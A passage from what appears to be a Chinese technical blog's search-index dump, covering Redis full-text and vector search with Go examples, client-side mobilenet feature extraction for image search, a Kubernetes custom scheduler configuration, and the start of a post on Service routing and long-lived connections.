地理位置等)、时序数据、概率计算等等扩展功能。这些模块既可以按需导入,也被全部打包到了 Redis Stack 中方便我们直接使用。 本文将会简述如何使用 Redis 进行全文检索。 ","date":"2024-07-15","objectID":"/redis-full-text/:1:0","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"Redis 全文检索 ","date":"2024-07-15","objectID":"/redis-full-text/:2:0","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"全文检索 全文检索是一种文本检索技术,其根据用户输入的词语或句子,在大量的文档数据中快速找到相关的内容。 全文检索的核心概念包括: 分词:将文档(文本内容)拆分为一个个独立的词。 倒排索引:一种索引类型,将词与文档进行关联,以便后续查询。 相关度评分:对搜索结果的相关性进行评分。 ","date":"2024-07-15","objectID":"/redis-full-text/:2:1","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"使用示例 本文将会使用一个公开的电影数据集,构建一个电影搜索系统。 数据集 数据格式如下图所示: 为了行文方便,本文只会使用以下几个字段: _id:唯一标识 title:电影标题 directors:导演 genres:电影类型 summary:内容摘要 rating:评分 我们使用 Redis 的 JSON 格式存储数,导入数据使用的是 JSON.SET 命令: JSON.SET movieID:1 $ '{\"directors\":\"马丁·里特\",\"genres\":[\"剧情\",\"动作\",\"西部\"],\"rating\":8.0,\"title\":\"野狼 Hombre\",\"summary\":\"约翰·罗塞尔自幼是老罗塞尔先生从战俘中带回来并抚养他长大的,但是他生性豪放不羁……\"}' 需要说明的是,Redis 是一个 key-value 数据库,JSON 只是 value 的格式之一,而 key 总是一个字符串,key 在本文中定义为了 movieID:12345 这种固定前缀加 ID 的格式。 使用 Go 批量导入的部分代码如下: func BuildDataset() { movies, _ := ReadMovieJSON() rds := getRedisClient() ctx := context.Background() for _, v := range movies { b, _ := json.Marshal(v) if r := rds.JSONSet(ctx, \"movieID:\"+v.ID, \"$\", b); r.Err() != nil { panic(r.Err()) } } } 构建索引 为了进行全文检索,我们必须要使用 FT.CREATE 构建索引: FT.CREATE movies ON JSON PREFIX 1 movieID: LANGUAGE Chinese SCHEMA $.title as title TEXT WEIGHT 3 $.directors.*.name as directors TAG $.genres.* as genres TAG $.summary as summary TEXT $.rating.average as rating NUMERIC 这个命令的意思是: 我们基于 JSON 数据创建了一个名为 movies 的索引 该索引作用于前缀为 movieID: 的所有 key 使用中文分词 索引有以下字段: title: 类型为 TEXT,权重为 3 directors: 类型为 TAG genres: 类型为 TAG summary: 类型为 TEXT rating: 类型为 NUMERIC 索引是独立存在的,删除索引不会影响原始 key-value 数据。 在创建完索引之后,新增或修改的文档会同步构建索引,而对于创建索引之前已有的文档则会在后台异步构建索引。 使用全文检索 检索基础 全文检索(任何字段包含爱情): FT.SEARCH movies '爱情' RETURN 返回指定字段: FT.SEARCH movies '爱情' RETURN 2 title directors HIGHLIGHT 高亮: FT.SEARCH movies '爱情' RETURN 2 title directors HIGHLIGHT FIELDS 1 title TAGS \u003cspan\u003e \u003c/span\u003e SORTBY 指定字段排序: FT.SEARCH movies '爱情' RETURN 3 title directors rating SORTBY rating DESC LIMIT offset num 分页: FT.SEARCH movies '爱情' RETURN 3 title directors rating SORTBY rating DESC LIMIT 0 10 TEXT 指定字段全文检索(电影标题含有爱情): FT.SEARCH movies '@title:爱情' RETURN 2 title directors Tag 字段匹配(导演是马丁·里特): FT.SEARCH movies '@directors:{马丁·里特}' RETURN 2 title directors 多条件组合 OR(类型是剧情或者动作): FT.SEARCH movies '@genres:{剧情|动作}' RETURN 2 title directors AND(类型是剧情或者动作且评分大于等于8.0): FT.SEARCH movies '(@genres:{剧情|动作})(@rating:[8.0,+inf])' RETURN 3 title directors rating 前缀后缀、模糊搜索 FT.SEARCH movies '@title:爱*' RETURN 1 title FT.SEARCH movies '@title:*情' RETURN 1 title FT.SEARCH movies '@title:*命*' RETURN 1 title FT.SEARCH movies '@title:%人生%' RETURN 1 title 自定义分词 与 Elasticsearch 对比,Redis 中的自定义分词这块支持比较有限,主要是: 停用词:FT.CREATE 命令中的可选参数 STOPWORDS,将会影响分词 同义词:FT.SYNUPDATE 命令 构造同义词:FT.SYNUPDATE movies group1 爱情 凌虚 那么 FT.SEARCH movies '爱情' 等价于 FT.SEARCH movies '凌虚' 自定义打分 Redis 只是提供了可选几种不同的打分算法: TFIDF(默认使用) TFIDF.DOCNORM BM25(Elasticsearch 使用的打分算法) DISMAX DOCSCORE HAMMING FT.SEARCH movies '爱情' RETURN 0 WITHSCORES SCORER BM25 如果你想要其它的自定义打分,则只能通过编写扩展的方式实现了,扩展必须用 C 语言或者与 C 有接口的编程语言来写。 索引别名 为底层索引创建一个索引别名,在搜索时则使用索引别名,如果数据需要重建索引,那么只需要将索引别名指向新的底层索引即可,这种情况下搜索端不会受到任何影响。 创建索引别名: FT.ALIASADD aliasName movies 使用索引别名进行搜索: FT.SEARCH aliasName '爱情' RETURN 0 更新索引别名: FT.ALIASUPDATE aliasName anotherIndex 删除索引别名: FT.ALIASDEL aliasName Go 示例代码 使用的是 go-redis 库: func cmdStringToArgs(rdscmd string) (result []interface{}) { re := regexp.MustCompile(`\\s+`) slice := re.Split(rdscmd, -1) for _, v := range slice { if v != \"\" \u0026\u0026 v != \" \" { result = append(result, v) } } return } func ExcuteCommand(rdscmd string) { rds := getRedisClient() ctx := context.Background() args := cmdStringToArgs(rdscmd) res, err := rds.Do(ctx, args...).Result() if err != nil { panic(err) } fmt.Println(\"RESULT:\", res) } 测试代码: func TestExcuteCommand(t *testing.T) { cases := []string{ // 全文检索(任何字段包含爱情): `FT.SEARCH movies '爱情'`, // RETURN 返回指定字段: `FT.SEARCH movies '爱情' RETURN 2 title directors`, // ...... } for _, v := range cases { ExcuteCommand(v) } } ","date":"2024-07-15","objectID":"/redis-full-text/:2:2","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"总结 相较于 Elasticsearch 这个全文搜索领域的榜一大哥,Redis 支持的功能特性比较少(例如自定义分词和打分),但是基本的全文检索功能也都具备了。 笔者曾见过只有几十万数据却整了三台 Elasticsearch 集群的情况,这实在是大炮打蚊子、严重浪费资源。如果数据体量比较小,而且检索的使用场景也比较简单,那么使用 Redis 不仅足够,在性能方面还能有更大的优势。 参考资料: https://redis.io/docs/latest/develop/interact/search-and-query/ https://redis.io/docs/latest/commands/ft.create/ https://redis.io/docs/latest/commands/ft.search/ ","date":"2024-07-15","objectID":"/redis-full-text/:3:0","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"Redis 向量搜索","date":"2024-07-09","objectID":"/redis-vector/","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"序言 Redis 除了我们所熟知的缓存功能之外,还通过 RedisJSON、RediSearch、RedisTimeSeries、RedisBloom 等模块支持了 JSON 数据、查询与搜索(包括全文搜索、向量搜索、GEO 地理位置等)、时序数据、概率计算等等扩展功能。这些模块既可以按需导入,也被全部打包到了 Redis Stack 中方便我们直接使用。 本文将会简述 Redis 如何作为向量数据库使用。 ","date":"2024-07-09","objectID":"/redis-vector/:1:0","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"Redis 作为向量数据库 假设我们使用 Redis 来完成以图搜图服务,核心数据有: photoID:每个图片的唯一ID userID:图片所属的用户ID,后续查询时可以作为过滤条件 vector:每个图片的特性向量 ","date":"2024-07-09","objectID":"/redis-vector/:2:0","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"创建索引 \u0026 插入向量 为此,我们使用 JSON 格式来保存数据,并使用 FT.CREATE 命令创建索引(由于向量计算的特殊性,必须创建索引才能进行搜索): FT.CREATE photos ON JSON PREFIX 1 photoID: SCORE 1.0 SCHEMA $.userID as userID NUMERIC $.vector AS vector VECTOR FLAT 6 TYPE FLOAT32 DIM 512 DISTANCE_METRIC L2 上述命令的意思是: 我们基于 JSON 创建了一个名为 photos 的索引 该索引作用于前缀为 photoID: 的所有 key JSON 数据中有两个字段: 一个字段是 userID ,类型为 NUMERIC 数字 另一个字段是 vector,类型为 VECTOR 向量,该向量字段使用的相似性算法是 FLAT(目前只支持 FLAT 和 HNSW),6 表示命令后面跟着 6 个参数,TYPE FLOAT32 表示向量中元素的类型,DIM 512 表示向量的维度是 512,DISTANCE_METRIC L2 表示计算向量距离使用的是 L2 欧几里得距离(除了 L2 之外还支持 IP 内积和 COSINE 余弦距离) 代码示例(已经有很多文章示例用的 Python,本文决定用 Go 来实现): package redis_test import ( \"bytes\" \"context\" \"encoding/binary\" \"encoding/json\" \"fmt\" \"math/rand\" \"strconv\" \"github.com/redis/go-redis/v9\" ) func GenVectorArr(dim int) []float32 { vectors := make([]float32, dim) for i := 0; i \u003c dim; i++ { vectors[i] = rand.Float32() } return vectors } type Photos struct { ID int `json:\"-\"` UserID int `json:\"userID\"` Vector []float32 `json:\"vector\"` } var rds *redis.Client func getRedisClient() *redis.Client { if rds == nil { rds = redis.NewClient(\u0026redis.Options{ Addr: \"your-redis-host\", Username: \"xxxx\", Password: \"xxxx\", }) } return rds } func CreateVector() { rdb := getRedisClient() ctx := context.Background() rdb.FlushAll(ctx) // 创建索引: // FT.CREATE photos ON JSON // PREFIX 1 photoID: SCORE 1.0 // SCHEMA // $.userID as userID NUMERIC // $.vector AS vector VECTOR FLAT 6 TYPE FLOAT32 DIM 512 DISTANCE_METRIC L2 val, err := rdb.Do(ctx, \"FT.CREATE\", \"photos\", \"ON\", \"JSON\", \"PREFIX\", \"1\", \"photoID:\", \"SCORE\", \"1.0\", \"SCHEMA\", \"$.userID\", \"as\", \"userID\", \"NUMERIC\", \"$.vector\", \"as\", \"vector\", \"VECTOR\", \"FLAT\", \"6\", \"TYPE\", \"FLOAT32\", \"DIM\", \"512\", \"DISTANCE_METRIC\", \"L2\").Result() if err != nil { panic(err) } fmt.Println(\"FT.CREATE:\", val.(string)) // 插入 1000 个向量 for i := 0; i \u003c 1000; i++ { photo := Photos{ ID: 100000 + i, UserID: 200000 + (i / 100), Vector: GenVectorArr(512), } photobytes, _ := json.Marshal(photo) if r := rdb.JSONSet(ctx, \"photoID:\"+strconv.Itoa(photo.ID), \"$\", photobytes); r.Err() != nil { panic(r.Err()) } } } 示例中,我们使用 JSON.SET 插入了 1000 个随机生成的 512 维向量。 查看单个数据占用的内存大小可以使用 JSON.DEBUG MEMORY 命令: \u003e JSON.DEBUG memory photoID:100000 (integer) 16552 可以看到我们的单条数据使用了约 16 KB 内存,以此类推 1000 条数据需要 16 MB 内存,1 百万数据需要 16 GB 内存。 查看索引信息则可以使用 FT.INFO 命令。 ","date":"2024-07-09","objectID":"/redis-vector/:2:1","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"向量搜索 向量搜索使用的命令是 FT.SEARCH。 搜索示例 1: FT.SEARCH photos \"*=\u003e[KNN 10 @vector $BLOB AS my_scores]\" RETURN 1 $.userID PARAMS 2 BLOB \"查询向量\" SORTBY my_scores DIALECT 2 含义是: 在 photos 索引上进行向量搜索, \"*=\u003e[KNN 10 @vector $BLOB AS my_scores]\" 搜索范围是 * 既索引的全部数据,执行的是 KNN 搜索,返回 10 个文档,搜索字段是 vector,相似度分数定义为 my_scores RETURN 1 $.userID 搜索结果只返回 userID 字段(由于 vector 字段比较大,取回会浪费网络传输时间,所以用不到的话就忽略) PARAMS 2 两个查询参数 BLOB \"查询向量\" 通过二进制传输查询向量 SORTBY my_scores 排序 DIALECT 2 执行查询的 dialect 版本 搜索示例 2,增加预过滤: FT.SEARCH photos \"(@userID:[200000,200000])=\u003e[KNN $K @vector $BLOB AS my_scores]\" RETURN 1 $.userID PARAMS 4 BLOB \"查询向量\" K 3 SORTBY my_scores DIALECT 2 通过设置 userID 的范围对索引中的部分数据进行向量搜索。 代码示例: // Float32SliceToBytes converts a []float32 to a byte slice (BLOB). func Float32SliceToBytes(data []float32) ([]byte, error) { buf := new(bytes.Buffer) err := binary.Write(buf, binary.LittleEndian, data) if err != nil { return nil, err } return buf.Bytes(), nil } func SearchVector() { rdb := getRedisClient() ctx := context.Background() // 构造查询向量 searchVector := GenVectorArr(512) searchBlob, _ := Float32SliceToBytes(searchVector) // KNN 向量搜索,对 vector 字段进行向量搜索,返回 10 个文档,按照与查询向量的距离对结果进行排序: // FT.SEARCH photos \"*=\u003e[KNN 10 @vector $BLOB AS my_scores]\" RETURN 1 $.userID PARAMS 2 BLOB \"查询向量\" SORTBY my_scores DIALECT 2 val, err := rdb.Do(ctx, \"FT.SEARCH\", \"photos\", \"*=\u003e[KNN 10 @vector $BLOB AS my_scores]\", \"RETURN\", \"1\", \"$.userID\", \"PARAMS\", \"2\", \"BLOB\", searchBlob, \"SORTBY\", \"my_scores\", \"DIALECT\", \"2\").Result() if err != nil { panic(err) } fmt.Println(\"FT.SEARCH:\", val) // KNN 向量搜索,增加预过滤条件 // FT.SEARCH photos \"(@userID:[200000,200000])=\u003e[KNN $K @vector $BLOB AS my_scores]\" RETURN 1 $.userID PARAMS 4 BLOB \"查询向量\" K 3 SORTBY my_scores DIALECT 2 r2, err := rdb.Do(ctx, \"FT.SEARCH\", \"photos\", \"(@userID:[200000,200000])=\u003e[KNN $K @vector $BLOB AS my_scores]\", \"RETURN\", \"1\", \"$.userID\", \"PARAMS\", \"4\", \"BLOB\", searchBlob, \"K\", \"3\", \"SORTBY\", \"my_scores\", \"DIALECT\", \"2\").Result() if err != nil { panic(err) } fmt.Println(\"-------------------------\") fmt.Println(\"FT.SEARCH with filter total results:\", r2) } ","date":"2024-07-09","objectID":"/redis-vector/:2:2","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"性能 Redis 官方专门写过一篇文章 Benchmarking results for vector databases。 其结论就是不论是吞吐量还是搜索延时,Redis 作为向量数据库在测试中表现得最好。 另外由于向量计算比较耗时,如果仍然放在单线程中完成,一定会发生阻塞影响后续调用,所以针对搜索场景,Redis 使用了多线程的方式进行了改进: 更多信息请查阅上述官方文章。 最后,如果我们的数据量并不大,那么使用 Redis 作为向量数据库也是一个很好的选择。 参考资料: https://redis.io/blog/benchmarking-results-for-vector-databases/ https://cookbook.openai.com/examples/vector_databases/redis/getting-started-with-redis-and-openai https://redis.io/docs/latest/develop/get-started/vector-database/ https://redis.io/docs/latest/develop/interact/search-and-query/advanced-concepts/vectors/ https://redis.io/docs/latest/develop/interact/search-and-query/indexing/ https://redis.io/docs/latest/develop/interact/search-and-query/query/vector-search/ ","date":"2024-07-09","objectID":"/redis-vector/:3:0","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Engineering"],"content":"以图搜图架构优化:使用客户端模型提取图像特征","date":"2024-07-04","objectID":"/image-search-use-client-model/","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"序言 以图搜图系统指的是从图像内容提取特征向量,然后使用向量数据库进行向量数据的插入、删除、相似性检索等操作,进而提供根据图像内容搜索出具有相似内容的其它图像的功能。 ","date":"2024-07-04","objectID":"/image-search-use-client-model/:1:0","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"系统架构 典型的搜图系统整体架构时序图如下: 图像上传过程: 客户端上传图像到服务端。 服务端存储图像至对象存储、插入结构化数据至关系型数据库、发送消息至 MQ 消息队列。 服务端对客户端请求返回响应。 图像搜索服务接受 MQ 的消息,下载图像内容,使用特定模型提取图像特征向量,然后将特征向量插入到向量数据库。 这里使用 MQ 的主要原因有: 异步快速响应,因为提取图像特征比较耗时,如果是同步的过程则会对客户端体验不友好。 解耦服务、服务异构,提取图像特征属于计算机视觉领域,编程语言生态基本是 Python ,而后端服务则常见于 Java、Golang、Node.js 等,这在架构上就要求服务异构和解耦。 削峰填谷,由于用户上传图像具有波峰波谷的天然特性,使用 MQ 可以使下游图像计算保持平稳。 图像搜索过程: 客户端上传图像到服务端。 服务端发起调用并将图像传递到图像搜索服务,图像搜索服务提取图像特征向量,然后查询向量数据库进行相似性搜索,最后返回向量搜索结果。 服务端根据向量搜索结果查询结构化数据,整合数据,最后响应。 我们可以看到以上系统中,比较耗时的有两部分: 图像传递链路长:客户端 -\u003e 服务端 -\u003e 对象存储 -\u003e 图像搜索服务。 图像特征计算比较耗时、且比较消耗服务器资源。 ","date":"2024-07-04","objectID":"/image-search-use-client-model/:2:0","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"使用客户端模型优化架构 为了进一步优化系统架构,我们可以尝试使用客户端模型进行图像特征提取。 图像上传过程: 客户端向服务端请求对象存储的直传地址,然后客户端直接将图像内容传递到对象存储(需要对象存储支持直传操作)。 客户端进行本地计算,提取图像特征向量,然后传递特征向量和结构化数据给服务端。 服务端对结构化数据和向量数据分别插入到不同的数据库,完成响应。 图像搜索过程: 客户端进行本地计算,提取图像特征向量,然后传递特征向量和结构化数据给服务端。 服务端分别进行向量检索和结构化数据查询,整合数据,完成响应。 优化后的架构: 图像传递链路短,只有客户端 -\u003e 对象存储。 图像特征计算卸载到了客户端完成,服务器不需要再消耗计算资源。 减少了 MQ 和图像搜索服务这两个构件,架构更加简单、复杂度降低。 ","date":"2024-07-04","objectID":"/image-search-use-client-model/:3:0","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"客户端模型的可行性和约束 客户端相比于服务端具有硬件资源有限、且不可扩展的特点,因此这就要求客户端使用的模型要更小、计算消耗更少。 我们根据上图中的模型对比可以看到 mobilenet 这种模型更符合我们的需求(模型的名字就能看出来)。 ","date":"2024-07-04","objectID":"/image-search-use-client-model/:4:0","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"示例 以下给出一个前端使用 mobilenet 完成图像特征提取的示例: \u003c!DOCTYPE html\u003e \u003chtml lang=\"en\"\u003e \u003chead\u003e \u003cmeta charset=\"UTF-8\"\u003e \u003cscript src=\"https://cdn.jsdelivr.net/npm/@tensorflow/tfjs\"\u003e\u003c/script\u003e \u003cscript src=\"https://cdn.jsdelivr.net/npm/@tensorflow-models/mobilenet\"\u003e\u003c/script\u003e \u003c/head\u003e \u003cbody\u003e \u003cinput type=\"file\" id=\"imageInput\"\u003e \u003cbutton onclick=\"extractFeatures()\"\u003eExtract Features\u003c/button\u003e \u003cpre id=\"result\"\u003e\u003c/pre\u003e \u003cscript\u003e let model; async function loadModel() { if (!model) { // 加载模型时 mobilenet 会去 storage.googleapis.com 下载 model = await mobilenet.load({version: 2, alpha: 1.0}); } return model; } function preprocessImage(image) { const tensor = tf.browser.fromPixels(image) .resizeNearestNeighbor([224, 224]) .toFloat() .expandDims(); return tensor.div(255.0); } async function extractFeatures() { const input = document.getElementById('imageInput'); if (input.files.length === 0) { alert('Please select an image file first.'); return; } const model = await loadModel(); const timeStart = Date.now(); const file = input.files[0]; const reader = new FileReader(); reader.onload = async function (e) { const image = new Image(); image.src = e.target.result; image.onload = async function () { const processedImage = preprocessImage(image); const features = model.infer(processedImage, false); // 去掉最后的全连接层 const featuresArray = await features.array(); document.getElementById('result').textContent = JSON.stringify(featuresArray, null, 2); console.log(`Extract feature spend: ${Date.now() - timeStart} ms`);; } } reader.readAsDataURL(file); } \u003c/script\u003e \u003c/body\u003e \u003c/html\u003e 然后在我的笔记本电脑简单测试的结果: 从上图可以看到,在我的客户端处理一张图像可以在一秒内完成,当然实际耗时取决于硬件资源和图像大小。 最后,如果你对此类主题感兴趣,可以阅读我的其它相关文章。 参考资料: https://keras.io/api/applications/ https://www.tensorflow.org/js/models https://github.com/tensorflow/tfjs-models/tree/master/mobilenet ","date":"2024-07-04","objectID":"/image-search-use-client-model/:4:1","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Kubernetes"],"content":"Kubernetes scheduler 概述及自定义调度器","date":"2024-06-15","objectID":"/k8s-custom-scheduler/","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"kube-scheduler kube-scheduler 是 k8s 集群中控制平面的一个重要组件,其负责的工作简单且专一:给未分配的 pod 分配一个 node 节点。 调度器的大致工作过程可以分为以下几步: 监听到未绑定 node 的 pod。 过滤节点:挑选出来适合分配这个 pod 的 node 节点(可能有多个)。 节点打分:给过滤出来的节点进行打分。 最后选择得分最高的那个 node 与 pod 绑定(如果最高得分有多个 node 则随机选择一个)。 更加详细的步骤则参考下图所示: ","date":"2024-06-15","objectID":"/k8s-custom-scheduler/:1:0","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"扩展点和默认插件 扩展点:调度器内部的工作流程划分为了一系列的步骤,为了满足可扩展性,某些步骤被设计成了扩展点,用户可以自己编码实现接口插入到这些扩展点,从而实现自定义调度器。 默认插件:Kubernetes 已经定义好了很多默认插件,这些插件实现了一个或者多个扩展点,默认调度器就是由这些默认插件组合而成。 如上图所示,蓝色部分是扩展点,绿色部分是默认插件。 扩展点是按照顺序依次执行的,每个插件可以作用于一个或者多个扩展点。 调度通过以下扩展点的一系列阶段进行: queueSort: 这些插件提供排序功能,用于对调度队列中的待处理 Pod 进行排序。每次只能启用一个队列排序插件。 preFilter: 这些插件用于在过滤之前预处理或检查有关 Pod 或集群的信息。它们可以将 Pod 标记为不可调度。 filter: 这些插件相当于调度策略中的谓词,用于过滤无法运行 Pod 的节点。过滤插件按配置的顺序调用。如果没有节点通过所有过滤器,Pod 将被标记为不可调度。 postFilter: 当没有找到可行节点来调度 Pod 时,这些插件按配置顺序被调用。如果任何 postFilter 插件将 Pod 标记为可调度,则不会调用剩余插件。 preScore: 这是一个信息性扩展点,可用于在评分之前进行工作。 score: 这些插件为通过过滤阶段的每个节点提供一个分数,然后调度器会选择得分总和最高的节点。 reserve: 这是一个信息性扩展点,通知插件何时为特定 Pod 保留了资源。插件还实现一个 Unreserve 调用,如果在保留期间或之后发生失败,将调用该函数。 permit: 这些插件可以阻止或延迟 Pod 的绑定。 preBind: 这些插件执行 Pod 绑定前所需的任何工作。 bind: 这些插件将 Pod 绑定到节点。绑定插件按顺序调用,一旦其中一个完成绑定,剩余插件将被跳过。至少需要一个绑定插件。 postBind: 这是一个信息性扩展点,在 Pod 绑定后调用。 默认插件非常多,不过你看它的名字就知道它们干了啥,本文不多赘述。 ","date":"2024-06-15","objectID":"/k8s-custom-scheduler/:1:1","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"自定义调度器 根据是否编写代码,我把自定义调度器的方式分为了两种: 不写代码,调整组合已有的默认插件,从而定义新的调度器。 实现接口代码,然后定义调度器。 本文将会描述第一种方式,通过调整默认插件的方式快速定义一个新的调度器。 ","date":"2024-06-15","objectID":"/k8s-custom-scheduler/:2:0","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"自定义调度器示例 默认插件 NodeResourcesFit 有三种评分策略:LeastAllocated(默认)、MostAllocated 和 RequestedToCapacityRatio,这三种策略的目的分别是优先选择资源使用率最低的节点、优先选择资源使用率较高的节点从而最大化节点资源使用率、以及平衡节点的资源使用率。 默认插件 VolumeBinding 绑定卷的默认超时时间是 600 秒。 示例中,我将自定义一个调度器,将 NodeResourcesFit 的评分策略配置为 MostAllocated,VolumeBinding 的超时时间配置为 60 秒。 配置 KubeSchedulerConfiguration 首先,通过 KubeSchedulerConfiguration 对象自定义了一个调度器,叫做 my-custom-scheduler: apiVersion: kubescheduler.config.k8s.io/v1 kind: KubeSchedulerConfiguration profiles: - schedulerName: my-custom-scheduler # 调度器名称 plugins: score: enabled: - name: NodeResourcesFit weight: 1 pluginConfig: - name: NodeResourcesFit args: scoringStrategy: type: MostAllocated resources: - name: cpu weight: 1 - name: memory weight: 1 - name: VolumeBinding args: bindTimeoutSeconds: 60 由于 KubeSchedulerConfiguration 对象本质上是 kube-scheduler 的配置文件,为了后续部署的时候方便使用,可以通过定义一个 ConfigMap 包含 KubeSchedulerConfiguration 的内容: apiVersion: v1 kind: ConfigMap metadata: name: my-scheduler-config namespace: kube-system data: my-scheduler-config.yaml: | apiVersion: kubescheduler.config.k8s.io/v1 kind: KubeSchedulerConfiguration profiles: - schedulerName: my-custom-scheduler # 调度器名称 plugins: score: enabled: - name: NodeResourcesFit weight: 1 pluginConfig: - name: NodeResourcesFit args: scoringStrategy: type: MostAllocated resources: - name: cpu weight: 1 - name: memory weight: 1 - name: VolumeBinding args: bindTimeoutSeconds: 60 部署 Deployment 应用 kube-scheduler 然后,我们需要部署 kube-scheduler 应用我们自定义的调度器,为此可以定义一个 Deployment: apiVersion: apps/v1 kind: Deployment metadata: name: my-custom-kube-scheduler namespace: kube-system spec: replicas: 1 selector: matchLabels: component: my-custom-kube-scheduler template: metadata: labels: component: my-custom-kube-scheduler spec: # serviceAccountName 注意需要配置权限 containers: - command: - kube-scheduler - --leader-elect=false - --config=/etc/kubernetes/my-scheduler-config.yaml - -v=5 image: registry.k8s.io/kube-scheduler:v1.30.0 name: kube-scheduler volumeMounts: - name: my-scheduler-config mountPath: /etc/kubernetes/my-scheduler-config.yaml subPath: my-scheduler-config.yaml volumes: - name: my-scheduler-config configMap: name: my-scheduler-config 注意:这里我们直接使用了 kube-scheduler 官方镜像,只是传递了不同的配置文件而已。 到这里你一定会问:自己部署的自定义调度器与已经存在的默认调度器会有冲突吗?只要 schedulerName 不同就不会有冲突,两个调度器各跑各的。通过自己部署的方式也避免了对默认调度器的任何干预。 至此,简单的两步就实现了自定义调度器。 验证 我们通过部署两个 pod ,分别使用默认调度器 default-scheduler 和我们的自定义调度器 my-custom-scheduler : apiVersion: v1 kind: Pod metadata: name: nginx-default spec: # schedulerName 默认就是使用 default-scheduler containers: - image: nginx name: nginx --- apiVersion: v1 kind: Pod metadata: name: nginx-custom spec: schedulerName: my-custom-scheduler containers: - image: nginx name: nginx 然后观察自定义调度器的日志: 从图中可以看到,自定义调度器工作正常,顺利完成了 pod 的调度,且与默认调度器互不影响。 参考资料: https://kubernetes.io/docs/concepts/scheduling-eviction/scheduling-framework/ https://kubernetes.io/docs/reference/scheduling/config/ https://kubernetes.io/docs/reference/config-api/kube-scheduler-config.v1/ https://arthurchiao.art/blog/k8s-scheduling-plugins-zh/ ","date":"2024-06-15","objectID":"/k8s-custom-scheduler/:2:1","tags":["Kubernetes"],"title":"Kubernetes scheduler 概述及自定义调度器","uri":"/k8s-custom-scheduler/"},{"categories":["Kubernetes"],"content":"Kubernetes Service 与 long-lived connections","date":"2024-06-12","objectID":"/k8s-service-long-lived-connection/","tags":["Kubernetes"],"title":"Kubernetes Service 与 long-lived connections","uri":"/k8s-service-long-lived-connection/"},{"categories":["Kubernetes"],"content":"本文将会介绍: 从 pod 到 service 再到 pod,kubernetes 中的流量是怎么走的? 对于 long-lived connection 长连接又是怎样的情况? ","date":"2024-06-12","objectID":"/k8s-service-long-lived-connection/:0:0","tags":["Kubernetes"],"title":"Kubernetes Service 与 long-lived connections","uri":"/k8s-service-long-lived-connection/"},{"categories":["Kubernetes"],"content":"从 pod 到 service 再到 pod 如上图所示: 1、我们先创建一个多副本的 deployment,k8s 会通过 CNI(容器网络接口)给每个 pod 分配一个集群内可达的 IP 地址。 2、我们随后创建一个类型为 clusterIP 的 service,指向 deployment(即其所属的所有 pod ),此时 service 会被赋予一个 virtual IP(虚拟 IP 地址)。 然后,我们从另外的 pod 发起请求,请求地址是这个 service 的虚拟 IP 或者 coreDNS 的内部域名(随后也会转换成 IP)。service 会随机将请求转发到一个后端 pod,至此 pod 到 pod 的连接就建立完成了。 但是,流量真的是 service 转发的吗?显然并不是。service 只是一个配置项而已,并不负责转发流量的具体工作。 每个 node 节点上有一个重要的组件 kube-proxy,它会监听所有 service,然后配置 iptables(默认) 或者 ipvs(此处配置项详见 kube-proxy 的 --proxy-mode),由 iptables/ipvs 完成真正的流量转发。 ","date":"2024-06-12","objectID":"/k8s-service-long-lived-connection/:1:0","tags":["Kubernetes"],"title":"Kubernetes Service 与 long-lived connections","uri":"/k8s-service-long-lived-connection/"},{"categories":["Kubernetes"],"content":"iptables 和 long-lived connections iptables 是 Linux 系统中一个用于配置和管理网络规则的工具,用于对网络数据包进行过滤、转发、修改等操作,可以实现防火墙、网络地址转换(NAT)、负载均衡等功能。k8s 拿它来进行 L4 的 TCP/UDP 转发。 iptables 本身是支持 random(基于概率的随机转发)和 nth(round robin 轮询)两种转发策略的,但是 k8s 固定使用了 random 随机转发且无法配置。 对于 long-lived connections(例如 HTTP/1.1 keep-alive、HTTP/2、gRPC、WebSocket)呢? 这里必须说明,iptables 进行随机的包转发,这句话容易产生误解。更准确一点应该是,iptables 只会在 TCP 连接刚开始创建的时候随机选择一个目标 pod,此后通过内核的 connection tracking 机制跟踪和记录每个连接的状态,进而让已经建立了 TCP 连接的双方一直使用这条连接。 所以 long-lived connections 在 k8s 里是支持的。 但是,会存在负载不均衡的情况,比如 pod A 的长连接请求永远都是打到 pod B 